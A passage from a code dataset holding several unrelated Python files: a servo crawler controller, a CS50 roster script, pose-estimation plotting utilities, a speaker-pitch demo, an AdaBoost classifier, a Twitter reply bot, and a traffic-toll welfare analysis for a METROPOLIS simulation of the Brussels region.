time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n \n elif joystick.get_button(0):#LOW RIDER!\n step_FR = 0\n step_FL = 0\n step_RR = 0\n step_RL = 0\n servo_front_left.ChangeDutyCycle(4.7)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(10.2)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(10.2)\n time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(4.7)\n time.sleep(0.1)\n servo_front_left.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n elif joystick.get_button(1):\n step_pos = 0\n step_neg = 0\n servo_front_left.ChangeDutyCycle(5.6)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(5.6)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(9.3)\n time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(9.3)\n time.sleep(0.1)\n servo_front_left.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n \n elif joystick.get_button(3):\n step_pos = 0\n step_neg = 0\n servo_front_left.ChangeDutyCycle(9.3)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(9.3)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(5.6)\n time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(5.6)\n time.sleep(0.1)\n servo_front_left.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n \n STEER_SERVO.ChangeDutyCycle(0)\n servo_front_left.ChangeDutyCycle(0)\n servo_front_right.ChangeDutyCycle(0)\n servo_rear_left.ChangeDutyCycle(0)\n servo_rear_right.ChangeDutyCycle(0)\n pygame.event.pump()\n \n \npygmae.quit\np.stop()\nGPIO.cleanup() \n\n\n","sub_path":"Crawler_Handler.py","file_name":"Crawler_Handler.py","file_ext":"py","file_size_in_byte":11803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"484804160","text":"import sys\nfrom cs50 import SQL\n\n\ndef main():\n # Check command line argument\n if len(sys.argv) != 2:\n print(\"Usage: python roster.py house_name\")\n return 1\n \n db = SQL(\"sqlite:///students.db\")\n \n house = sys.argv[1]\n \n # Query database for all students in house\n students = db.execute(\"SELECT * FROM students WHERE house =? ORDER BY last ASC, first ASC\", house)\n # Print ou each student's full name and birth year\n for s in students:\n if s['middle'] == None:\n print(s['first'] + ' ' + s['last'] + ', born ' + str(s['birth']))\n else:\n print(s['first'] + ' ' + s['middle'] + ' ' + s['last'] + ', born ' + str(s['birth']))\n\n\nmain()","sub_path":"pset7/houses/roster.py","file_name":"roster.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"646980738","text":"from skimage import feature, transform\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nfrom tf_pose.estimator import TfPoseEstimator\nfrom tf_pose import common\nimport io\nfrom utils import get_humans_as_lines\nfrom matplotlib.lines import Line2D\nimport cv2\n\n\ndef plot(data, xi=None, cmap='RdBu_r', axis=plt, percentile=100, dilation=3.0, alpha=0.8):\n dx, dy = 0.05, 0.05\n xx = np.arange(0.0, data.shape[1], dx)\n yy = np.arange(0.0, data.shape[0], dy)\n xmin, xmax, ymin, ymax = np.amin(xx), np.amax(xx), np.amin(yy), np.amax(yy)\n extent = xmin, xmax, ymin, ymax\n cmap_xi = plt.get_cmap('Greys_r')\n cmap_xi.set_bad(alpha=0)\n overlay = None\n if xi is not None:\n # Compute edges (to overlay to heatmaps later)\n xi_greyscale = xi if len(xi.shape) == 2 else np.mean(xi, axis=-1)\n in_image_upscaled = transform.rescale(xi_greyscale, dilation, mode='constant')\n edges = feature.canny(in_image_upscaled).astype(float)\n edges[edges < 0.5] = np.nan\n edges[:5, :] = np.nan\n edges[-5:, :] = np.nan\n edges[:, :5] = np.nan\n edges[:, -5:] = np.nan\n overlay = edges\n\n abs_max = np.percentile(np.abs(data), percentile)\n abs_min = abs_max\n\n if len(data.shape) == 3:\n data = np.mean(data, 2)\n axis.imshow(data, extent=extent, interpolation='none', cmap=cmap, vmin=-abs_min, vmax=abs_max)\n if overlay is not None:\n axis.imshow(overlay, extent=extent, interpolation='none', cmap=cmap_xi, alpha=alpha)\n axis.axis('off')\n return axis\n\n\ndef plot_vector_field(U, V, bgimg, axis, figure):\n axis.imshow(bgimg, alpha=1)\n X, Y = np.meshgrid(range(0, bgimg.shape[1]), range(0, bgimg.shape[0]))\n\n color = np.sqrt(np.square(U) + np.square(V))\n\n # normalize\n #U /= color\n #V /= color\n\n colormap_transparent = mpl.colors.LinearSegmentedColormap.from_list('my_cmap',['blue','red'], 256)\n colormap_transparent._init() # create the _lut array, with rgba values\n\n alphas = np.linspace(0, 1.0, colormap_transparent.N+3)\n colormap_transparent._lut[:,-1] = alphas # list(map(lambda x : 1.0 if x > 0.3 else 0.0, alphas))\n\n heat_image = axis.quiver(X, Y, U, V, color, cmap=colormap_transparent, scale=40)\n #heat_image = ax.imshow(V, cmap=plt.cm.hot, alpha=0.5)\n\n\n axis.set_title('PAF')\n figure.colorbar(heat_image, ax=axis, shrink=1.0)\n\n return axis\n #ax = fig.add_subplot(1, 2, 2)\n #heat_image = ax.imshow(color)\n #fig.colorbar(heat_image, ax=ax, shrink=1.0)\n\n\ndef plot_pose(image, humans, heatMat=None):\n image_result = TfPoseEstimator.draw_humans(image, humans, imgcopy=True)\n\n fig = plt.figure(figsize=(50, 25))\n a = fig.add_subplot(2, 1, 1)\n a.set_title('Result')\n plt.imshow(cv2.cvtColor(image_result, cv2.COLOR_BGR2RGB))\n\n bgimg = cv2.cvtColor(image_result.astype(np.uint8), cv2.COLOR_BGR2RGB)\n if heatMat is not None:\n bgimg = cv2.resize(bgimg, (heatMat.shape[1], heatMat.shape[0]), interpolation=cv2.INTER_AREA)\n else:\n bgimg = cv2.resize(bgimg, (image.shape[1], image.shape[0]), interpolation=cv2.INTER_AREA)\n\n # show network output\n if heatMat is not None:\n a = fig.add_subplot(2, 2, 2)\n plt.imshow(bgimg, alpha=0.5)\n tmp = np.amax(heatMat[:, :, :-1], axis=2)\n plt.imshow(tmp, cmap=plt.cm.gray, alpha=0.5)\n _ = plt.colorbar()\n\ndef plot_humans_lines(humans, axis, color = 'r', linestyle='-', label='human'):\n for human in humans:\n plot_human_lines(human, axis, color, linestyle, label)\n \ndef plot_human_lines(lines, axis, color = 'r', linestyle='-', label='human'):\n for line in lines:\n x = [line[0][0], line[1][0]]\n y = [line[0][1], line[1][1]]\n axis.plot(x, y, color=color, linestyle=linestyle, label=label, marker='o')\n\n\ndef gen_plot(human_source, human_target, human_adv):\n source_lines = get_humans_as_lines(human_source, 400, 450)\n target_lines = get_humans_as_lines(human_target, 400, 450)\n adv_lines = get_humans_as_lines(human_adv, 400, 450)\n\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(1, 1, 1)\n\n plot_human_lines(source_lines, ax, color='r', linestyle='-', label='source')\n plot_human_lines(target_lines, ax, color='g', linestyle='-', label='target')\n plot_human_lines(adv_lines, ax, color='b', linestyle='--', label='adv')\n\n legend_elements = [Line2D([0], [0], color='r', label='source'),\n Line2D([0], [0], color='g', label='target'),\n Line2D([0], [0], color='b', label='adverserial')]\n ax.legend(handles=legend_elements, loc='best', prop={'size': 20})\n buf = io.BytesIO()\n plt.savefig(buf, format='png')\n buf.seek(0)\n return buf\n\n\ndef gen_plot_universal_noise(noise, index=None):\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(1, 1, 1)\n ax.imshow(np.clip(noise, 0, 255) / 255)\n buf = io.BytesIO()\n plt.savefig(buf, format='png')\n buf.seek(0)\n if index != None:\n plt.savefig(f'../logs/gif/{i}.png', format='png')\n return buf\n\ndef bar_plot(ax, data, colors=None, total_width=0.8, single_width=1, legend=True):\n \"\"\"Draws a bar plot with multiple bars per data point.\n\n Parameters\n ----------\n ax : matplotlib.pyplot.axis\n The axis we want to draw our plot on.\n\n data: dictionary\n A dictionary containing the data we want to plot. Keys are the names of the\n data, the items is a list of the values.\n\n Example:\n data = {\n \"x\":[1,2,3],\n \"y\":[1,2,3],\n \"z\":[1,2,3],\n }\n\n colors : array-like, optional\n A list of colors which are used for the bars. If None, the colors\n will be the standard matplotlib color cyle. (default: None)\n\n total_width : float, optional, default: 0.8\n The width of a bar group. 0.8 means that 80% of the x-axis is covered\n by bars and 20% will be spaces between the bars.\n\n single_width: float, optional, default: 1\n The relative width of a single bar within a group. 1 means the bars\n will touch eachother within a group, values less than 1 will make\n these bars thinner.\n\n legend: bool, optional, default: True\n If this is set to true, a legend will be added to the axis.\n \"\"\"\n\n # Check if colors where provided, otherwhise use the default color cycle\n if colors is None:\n colors = plt.rcParams['axes.prop_cycle'].by_key()['color']\n\n # Number of bars per group\n n_bars = len(data)\n\n # The width of a single bar\n bar_width = total_width / n_bars\n\n # List containing handles for the drawn bars, used for the legend\n bars = []\n\n # Iterate over all data\n for i, (name, values) in enumerate(data.items()):\n # The offset in x direction of that bar\n x_offset = (i - n_bars / 2) * bar_width + bar_width / 2\n\n # Draw a bar for every value of that type\n for x, y in enumerate(values):\n bar = ax.bar(x + x_offset, y, width=bar_width * single_width, color=colors[i % len(colors)])\n\n # Add a handle to the last drawn bar, which we'll need for the legend\n bars.append(bar[0])\n\n # Draw legend if we need\n if legend:\n ax.legend(bars, data.keys())\n","sub_path":"experiments/openPose/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":7268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"21765035","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport opensmile\nimport audiofile\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.ndimage.filters import gaussian_filter1d\n\n\n# Extract ComParE_2016 Features for both Speakers with OpenSmile\ndef extract_features():\n smile = opensmile.Smile(\n feature_set=opensmile.FeatureSet.ComParE_2016,\n feature_level=opensmile.FeatureLevel.LowLevelDescriptors,\n )\n\n speaker_a = smile.process_file('./Data/Train_DE_03_trimmed_long.wav')\n speaker_b = smile.process_file('./Data/Train_DE_23_trimmed_long.wav')\n\n return speaker_a,speaker_b\n\n\n# Calculate the mean-value of a specific feature within a specific time window for a speaker\ndef calculate_mean_feature(speaker,feature,time_window):\n ctr = 0\n current_sum = 0\n current_mean = 0\n mean_feature_interval = []\n stop = time_window\n\n for i in range(len(speaker)):\n if i%stop == 0: \n _discard = False\n interval = speaker.iloc[i:i+stop][feature]\n for value in interval:\n if value < 0.05:\n _discard = True\n break\n \n if _discard:\n mean_feature_interval.append(current_mean)\n continue\n \n current_mean = np.mean(interval)\n\n mean_feature_interval.append(current_mean)\n \n return mean_feature_interval\n \n\n# Smooth and plot data\ndef visualize_live_curve(diff,speaker_a,speaker_b):\n smoothed_diff = gaussian_filter1d(diff, sigma=50)\n smoothed_speaker_a = gaussian_filter1d(speaker_a, sigma=50)\n smoothed_speaker_b = gaussian_filter1d(speaker_b, sigma=50)\n\n fig, axis = plt.subplots(1,2,figsize=(15,5))\n\n x_axis = np.arange(0, 165, 0.15)\n\n axis[1].axis([0, 1120, -170, 170])\n axis[0].axis([0, 1120, 0, 620])\n \n plt.setp(axis[1],xlabel=\"Time [s]\")\n plt.setp(axis[1],ylabel=\"Mean Pitch Difference\")\n plt.setp(axis[0],xlabel=\"Time [s]\")\n plt.setp(axis[0],ylabel=\"Mean Pitch\")\n\n axis[0].set_xticks(np.arange(0, 170, 20))\n axis[0].set_yticks(np.arange(0, 620, 100))\n axis[0].set_yticks(np.arange(0, 620, 50), minor=True)\n\n axis[1].set_xticks(np.arange(0, 170, 20))\n axis[1].set_xticks(np.arange(0, 170, 20), minor=True)\n axis[1].set_yticks(np.arange(-200, 200, 50))\n axis[1].set_yticks(np.arange(-200, 200, 50), minor=True)\n\n\n for i in range(len(diff)):\n axis[0].clear()\n axis[1].clear()\n plt.setp(axis[1],xlabel=\"Time [s]\")\n plt.setp(axis[1],ylabel=\"Mean Pitch Difference\")\n plt.setp(axis[0],xlabel=\"Time [s]\")\n plt.setp(axis[0],ylabel=\"Mean Pitch\")\n axis[1].axis([0, 170, -200, 200])\n axis[0].axis([0, 170, 0, 620])\n\n axis[0].grid(which='minor', alpha=0.2)\n axis[0].grid(which='major', alpha=0.5)\n axis[1].grid(which='minor', alpha=0.2)\n axis[1].grid(which='major', alpha=0.5)\n\n axis[1].plot(x_axis[:i],smoothed_diff[:i],color=\"green\")\n axis[0].plot(x_axis[:i],smoothed_speaker_a[:i],color=\"blue\",label=\"Speaker A\")\n axis[0].plot(x_axis[:i],smoothed_speaker_b[:i],color=\"red\",label=\"Speaker B\")\n\n\n axis[0].legend(loc=\"best\")\n\n plt.pause(0.1)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n speaker_a,speaker_b = extract_features()\n\n mean_pitch_a = calculate_mean_feature(speaker=speaker_a,feature='F0final_sma',time_window=15)\n mean_pitch_b = calculate_mean_feature(speaker=speaker_b,feature='F0final_sma',time_window=15)\n\n mean_pitch_diff = np.array(mean_pitch_a) - np.array(mean_pitch_b)\n\n visualize_live_curve(mean_pitch_diff,mean_pitch_a,mean_pitch_b)","sub_path":"Demo_Synchronisation_Live_WindowsVersion.py","file_name":"Demo_Synchronisation_Live_WindowsVersion.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"398538671","text":"import matplotlib.pyplot as plt\nfrom prep_terrain_data import makeTerrainData\nfrom class_vis import prettyPicture\nfrom ClassifyBoost import classify\nimport sys\nfrom time import time\n\nfeatures_train, labels_train, features_test, labels_test = makeTerrainData()\n\ngrade_fast = [features_train[ii][0] for ii in range(0, len(features_train)) if labels_train[ii]==0]\nbumpy_fast = [features_train[ii][1] for ii in range(0, len(features_train)) if labels_train[ii]==0]\ngrade_slow = [features_train[ii][0] for ii in range(0, len(features_train)) if labels_train[ii]==1]\nbumpy_slow = [features_train[ii][1] for ii in range(0, len(features_train)) if labels_train[ii]==1]\n\n\n### initial visualization\n'''\nplt.xlim(0.0, 1.0)\nplt.ylim(0.0, 1.0)\nplt.scatter(bumpy_fast, grade_fast, color = \"b\", label=\"fast\")\nplt.scatter(grade_slow, bumpy_slow, color = \"r\", label=\"slow\")\nplt.legend()\nplt.xlabel(\"bumpiness\")\nplt.ylabel(\"grade\")\nplt.show()\n'''\n################################################################################\n\nclf = classify(features_train, labels_train)\nt0 = time()\naccuracy = clf.score(features_test, labels_test)\nprint(\"\\nAdaBoost Testing time: \"+ str(round(time()-t0, 3)) + \" Seconds\")\nprint(\"\\nAccuracy of AdaBoost Classifier = \" +str(accuracy * 100) + \" %\")\n\n### visualization code (prettyPicture) to show you the decision boundary\ntry:\n prettyPicture(clf, features_test, labels_test)\nexcept NameError:\n pass","sub_path":"7. Classifiers - Exploration/2. AdaBoost/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"358395708","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport twitter\nimport secret\n\ncustomer_key = secret.dict['customer_key']\ncustomer_secret = secret.dict['customer_secret']\naccess_token_key = secret.dict['access_token_key']\naccess_token_secret = secret.dict['access_token_secret']\n\napi = twitter.Api(customer_key,customer_secret,access_token_key,access_token_secret)\n\nreplies = api.GetReplies();\n\ntext = '@%s retweet!!' % (replies[0].user.screen_name)\nto = replies[0].id\n\napi.PostUpdate(\n status=text,\n in_reply_to_status_id=to)\n\n","sub_path":"src/python/replies.py","file_name":"replies.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"434711610","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 10 13:59:51 2019\n\n\"\"\"\n\n#import requests \nimport pandas\nimport numpy as np\nimport requests\nimport xlsxwriter\n\nlinks_mainzone = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\links_mainzone_n.csv\", sep=\",\")\nlinks = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\links.tsv\", sep=\"\\t\")\n\n#########################################################################\n#########################################################################\nrun = 9720 #2209#2210 #2207, 2208, 2209,2212, 2334, 2210\nmileage = \t2.67762\next = 0.04 #external cost by km\n#step=\n#alpha= \n#interval = 5\n#dimin = 12* 6 #for 5min interval, 6 hours\n#########################################################################\nurl1 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/link_output\" \nurl2 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/user_output\" \nr1 = requests.get(url1) # create HTTP response object \nr2 = requests.get(url2)\nwith open(\"link_results.tsv\",'wb') as f1: \n f1.write(r1.content) \nwith open(\"user_results.tsv\",'wb') as f2: \n f2.write(r2.content) \n#####################################################\n# take link_result.tsv to calculate toll\nlinkresults = pandas.read_csv(\"link_results.tsv\", sep=\"\\t\")\n# need user_results.tsv for calculation of welfare\nuserresults = pandas.read_csv(\"user_results.tsv\", sep=\"\\t\")\n###################################################\n# calculate welfare\nwelfare=[] #welfare with refund of toll revenue\nwelfareno=[] #welfare without refund of toll revenue\ncs=[] #only add consumer surplus of all users\n\nwelfare.append(sum(userresults['surplus'])+sum(userresults['fee'])-float(mileage)*100000*float(ext)) \nprint(welfare)\nwelfareno.append(sum(userresults['surplus'])-float(mileage)*100000*float(ext))\nprint(welfareno)\ncs.append(sum(userresults['surplus']))\nprint(cs)\n\n#####################################################\nworkbook = xlsxwriter.Workbook('cs.xlsx')\nworksheet = workbook.add_worksheet()\narray = [welfare,\n welfareno,\n cs]\nrow = 0\nfor col, data in enumerate(array):\n worksheet.write_column(row, col, data)\nworkbook.close()\n#####################################################\n#####################################################\n#### FLAT Toll #### for roads in ALL regions by distance at 7-9, all users ####\npkm=0.15\n#create toll tsv file for runs\nlinks1 = links[links.function == 2] #subset with non-freeflow\nlinks1.insert(9,'dist_toll',links['length']*pkm)\nx = np.zeros(len(links1))\ndftolltime=np.column_stack((x,links1[\"dist_toll\"],x))\nlinks1['toll_dist2'] = dftolltime.tolist()\nlinks1['toll_dist2'] = links1['toll_dist2'].astype(str).str[1:-1]\nlinks1[\"times\"]= \"420,540\"\nlinks1.rename({'id':'link'}, axis='columns',inplace=True)\nlinks1.rename({'toll_dist2':'values'}, axis='columns',inplace=True)\nlinks1[['link','values','times']].to_csv(r\"D:\\METROPOLIS\\Brussels calibration\\toll_dist05.tsv\",sep=\"\\t\",index=False)\n\n#####################################################\nnodes_on = pandas.read_csv(r\"D:\\METROPOLIS\\input_NETWORK\\nodes_n.csv\", sep=\",\")\nnodes_on1 = pandas.merge(links_mainzone, nodes_on, how='outer',\n left_on=['FROMNODENO'],\n right_on=['node_old'])\nnodes_on2 = pandas.merge(nodes_on1, nodes_on, how='outer',\n left_on=['TONODENO'],\n right_on=['node_old'])\n\nlinks_on = pandas.merge(nodes_on2, links, how='inner',\n left_on=['node_new_x','node_new_y'],\n right_on=['origin','destination'])\n#####################################################\n#### Regions #### categorize inks by regions\nlinks_bru = links_on[links_on.NISCode == 1000]\nlinks_fla = links_on[links_on.NISCode == 2000]\nlinks_wal = links_on[links_on.NISCode == 3000]\nlinks_nil= links_on[(links_on['NISCode']!=1000)]\nlinks_nil= links_nil[(links_nil['NISCode']!=2000)]\nlinks_nil= links_nil[(links_nil['NISCode']!=3000)]\n\n#### produce script for regional tolls ####\n## flat tolls 0700-0900, each region charges and gets own toll revenues\n## brussels charges links_bru; flanders charges links_fla; links_nil stay free\n\n### Brussels ###\npkm=0.15\nlinks_bruT = links_bru[links_bru.function == 2] #subset with non-freeflow\nlinks_bruT.insert(179,'dist_toll',links_bruT['length']*pkm)\nlinks_bruT['dist_toll'] = links_bruT['length']*pkm\nx = np.zeros(len(links_bruT))\ndftolltime=np.column_stack((x,links_bruT[\"dist_toll\"],x))\nlinks_bruT['toll_dist2'] = dftolltime.tolist()\nlinks_bruT['toll_dist2'] = links_bruT['toll_dist2'].astype(str).str[1:-1]\nlinks_bruT[\"times\"]= \"420,540\"\nlinks_bruT.rename({'id':'link'}, axis='columns',inplace=True)\nlinks_bruT.rename({'toll_dist2':'values'}, axis='columns',inplace=True)\nlinks_bruT[['link','values','times']].to_csv(r\"D:\\METROPOLIS\\Brussels calibration\\tollDistB15.tsv\",sep=\"\\t\",index=False)\n\n### Flanders ###\n#pkm=0.05\nlinks_flaT = links_fla[links_fla.function == 2] #subset with non-freeflow\nlinks_flaT.insert(179,'dist_toll',links_flaT['length']*pkm)\n#links_flaT['dist_toll'] = links_flaT['length']*pkm\nx = np.zeros(len(links_flaT))\ndftolltime=np.column_stack((x,links_flaT[\"dist_toll\"],x))\nlinks_flaT['toll_dist2'] = dftolltime.tolist()\nlinks_flaT['toll_dist2'] = links_flaT['toll_dist2'].astype(str).str[1:-1]\nlinks_flaT[\"times\"]= \"420,540\"\nlinks_flaT.rename({'id':'link'}, axis='columns',inplace=True)\nlinks_flaT.rename({'toll_dist2':'values'}, axis='columns',inplace=True)\nlinks_flaT[['link','values','times']].to_csv(r\"D:\\METROPOLIS\\Brussels calibration\\tollDistF15.tsv\",sep=\"\\t\",index=False)\n\n## wallonia\nlinks_walT = links_wal[links_wal.function == 2] #subset with non-freeflow\nlinks_walT.insert(179,'dist_toll',links_walT['length']*pkm)\nlinks_walT['dist_toll'] = links_walT['length']*pkm\nx = np.zeros(len(links_walT))\ndftolltime=np.column_stack((x,links_walT[\"dist_toll\"],x))\nlinks_walT['toll_dist2'] = dftolltime.tolist()\nlinks_walT['toll_dist2'] = links_walT['toll_dist2'].astype(str).str[1:-1]\nlinks_walT[\"times\"]= \"420,540\"\nlinks_walT.rename({'id':'link'}, axis='columns',inplace=True)\nlinks_walT.rename({'toll_dist2':'values'}, axis='columns',inplace=True)\nlinks_walT[['link','values','times']].to_csv(r\"D:\\METROPOLIS\\Brussels calibration\\tollDistW15.tsv\",sep=\"\\t\",index=False)\n\n### crossregions/nil ###\n#pkm=0.02\nlinks_nilT = links_nil[links_nil.function == 2] #subset with non-freeflow\nlinks_nilT.insert(179,'dist_toll',links_nilT['length']*pkm)\n#links_flaT['dist_toll'] = links_flaT['length']*pkm\nx = np.zeros(len(links_nilT))\ndftolltime=np.column_stack((x,links_nilT[\"dist_toll\"],x))\nlinks_nilT['toll_dist2'] = dftolltime.tolist()\nlinks_nilT['toll_dist2'] = links_nilT['toll_dist2'].astype(str).str[1:-1]\nlinks_nilT[\"times\"]= \"420,540\"\nlinks_nilT.rename({'id':'link'}, axis='columns',inplace=True)\nlinks_nilT.rename({'toll_dist2':'values'}, axis='columns',inplace=True)\nlinks_nilT[['link','values','times']].to_csv(r\"D:\\METROPOLIS\\Brussels calibration\\tollDistN15.tsv\",sep=\"\\t\",index=False)\n\n#########################################################################\n#########################################################################\n#### categorize users by regions, using origin mainzones of users\nmainzone = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\mainzone.csv\", sep=\";\")\n\nwelfare=[]\nwelfareno=[]\ncs=[]\nrevenue=[]\nextCost=[]\nrevfromB=[]\nrevfromF=[]\nrevfromW=[]\ncsB=[]\ncsF=[]\ncsW=[]\nrevtoB=[]\nrevtoF=[]\nrevtoW=[]\nrevtoN=[]\ntrucks=[]\nwork=[]\nnwork=[]\n\n#run = 9235#2335#2210 #2207, 2208, 2209,2212, 2334, 2210\n#mileage = 2.66727\n#pkm =0.15\n#ext = 0.04 #external cost by km\n#step=\n#alpha= \n#interval = 5\n#dimin = 12* 6 #for 5min interval, 6 hours\n#########################################################################\nurl1 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/link_output\" \nurl2 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/user_output\" \nr1 = requests.get(url1) # create HTTP response object \nr2 = requests.get(url2)\nwith open(\"link_results.tsv\",'wb') as f1: \n f1.write(r1.content) \nwith open(\"user_results.tsv\",'wb') as f2: \n f2.write(r2.content) \n#####################################################\n# take link_result.tsv to calculate toll\nlinkresults = pandas.read_csv(\"link_results.tsv\", sep=\"\\t\")\n# need user_results.tsv for calculation of welfare\nuserresults = pandas.read_csv(\"user_results.tsv\", sep=\"\\t\")\n###################################################\n\n# calculate welfare (group specific)\nuserresults1 = pandas.merge(userresults,mainzone,left_on=\"origin\",right_on=\"ZONE\")\nuserresults2 = pandas.merge(userresults1,mainzone,left_on=\"destination\",right_on=\"ZONE\")\nuserresultsB = userresults2[userresults2.MAINZONE_x==1]\nuserresultsW = userresults2[userresults2.MAINZONE_x==2]\nuserresultsF = userresults2[userresults2.MAINZONE_x==3]\n\n########### TOTAL WELFARE #######################\n\ntrucks.append(userresults.travelerType.value_counts()['trucks'])\nprint(trucks)\nwork.append(userresults.travelerType.value_counts()['W'])\nprint(work)\nnwork.append(userresults.travelerType.value_counts()['N'])\nprint(nwork)\nwelfare.append(sum(userresults['surplus'])+sum(userresults['fee'])-float(mileage)*100000*float(ext)) \nprint(welfare)\nwelfareno.append(sum(userresults['surplus'])-float(mileage)*100000*float(ext))\nprint(welfareno)\ncs.append(sum(userresults['surplus']))\nprint(cs)\nrevenue.append(sum(userresults['fee']))\nprint(revenue)\nextCost.append(float(mileage)*100000*float(ext))\nprint(extCost)\n######### WELFARE Brussels #############################\nrevfromB.append(sum(userresultsB['fee'])) \nprint(revfromB)\ncsB.append(sum(userresultsB['surplus']))\nprint(csB)\n######### WELFARE Flanders #############################\nrevfromF.append(sum(userresultsF['fee'])) \nprint(revfromF)\ncsF.append(sum(userresultsF['surplus']))\nprint(csF)\n######### WELFARE W #############################\nrevfromW.append(sum(userresultsW['fee'])) \nprint(revfromW)\ncsW.append(sum(userresultsW['surplus']))\nprint(csW)\n#####################################################\npkmb = 0.15\nlinks_bruR = pandas.merge(linkresults,links_bruT,how='inner',left_on=\"link\",right_on=\"link\")\nlinks_bruR['tolled'] = links_bruR.iloc[:,97:120].sum(axis=1)+links_bruR.iloc[:,73:96].sum(axis=1)-links_bruR.iloc[:,217:240].sum(axis=1)\nlinks_bruR['tolledAmt'] = links_bruR['length']*pkmb*links_bruR['tolled']\nrevtoB.append(sum(links_bruR['tolledAmt']))\nprint(revtoB)\nrevtoB[0]+csB[0]\n#####################################################\npkmf = 0.15\nlinks_flaR = pandas.merge(linkresults,links_flaT,how='inner',left_on=\"link\",right_on=\"link\")\nlinks_flaR['tolled'] = links_flaR.iloc[:,97:120].sum(axis=1)+links_flaR.iloc[:,73:96].sum(axis=1)-links_flaR.iloc[:,217:240].sum(axis=1)\nlinks_flaR['tolledAmt'] = links_flaR['length']*pkmf*links_flaR['tolled']\nrevtoF.append(sum(links_flaR['tolledAmt']))\nprint(revtoF)\nrevtoF[0]+csF[0]\n#####################################################\n#####################################################\npkm = 0.15\nlinks_walR = pandas.merge(linkresults,links_walT,how='inner',left_on=\"link\",right_on=\"link\")\nlinks_walR['tolled'] = links_walR.iloc[:,97:120].sum(axis=1)+links_walR.iloc[:,73:96].sum(axis=1)-links_walR.iloc[:,217:240].sum(axis=1)\nlinks_walR['tolledAmt'] = links_walR['length']*pkm*links_walR['tolled']\nrevtoW.append(sum(links_walR['tolledAmt']))\nprint(revtoW)\nrevtoW[0]+csW[0]\n#####################################################\npkm = 0.02\nlinks_nilR = pandas.merge(linkresults,links_nilT,how='inner',left_on=\"link\",right_on=\"link\")\nlinks_nilR['tolled'] = links_nilR.iloc[:,97:120].sum(axis=1)+links_nilR.iloc[:,73:96].sum(axis=1)-links_nilR.iloc[:,217:240].sum(axis=1)\nlinks_nilR['tolledAmt'] = links_nilR['length']*pkm*links_nilR['tolled']\nrevtoN.append(sum(links_nilR['tolledAmt']))\nprint(revtoN)\n#####################################################\nworkbook = xlsxwriter.Workbook(r\"D:\\METROPOLIS\\nov2020\\cs_flat30.xlsx\")\nworksheet = workbook.add_worksheet()\narray = [welfare,\n welfareno,\n cs,\n revenue,\n extCost,\n revfromB,\n revfromF,\n revfromW,\n csB,\n csF,\n csW,\n revtoB,\n revtoF,\n revtoW,\n revtoN,\n trucks,\n work,\n nwork]\nrow = 0\nfor col, data in enumerate(array):\n worksheet.write_column(row, col, data)\nworkbook.close()\n#####################################################\n\n############################################################################\n#############CORDON TOLL ENTERING BRUSSELS REGION###########################\n#########################################################################\nrun =9724#2209#2210 #2207, 2208, 2209,2212, 2334, 2210\nmileage = \t2.70405\n\next = 0.04 #external cost by km\n#step=\n#alpha= \n#interval = 5\n#dimin = 12* 6 #for 5min interval, 6 hours\n#########################################################################\nurl1 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/link_output\" \nurl2 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/user_output\" \nr1 = requests.get(url1) # create HTTP response object \nr2 = requests.get(url2)\nwith open(\"link_results.tsv\",'wb') as f1: \n f1.write(r1.content) \nwith open(\"user_results.tsv\",'wb') as f2: \n 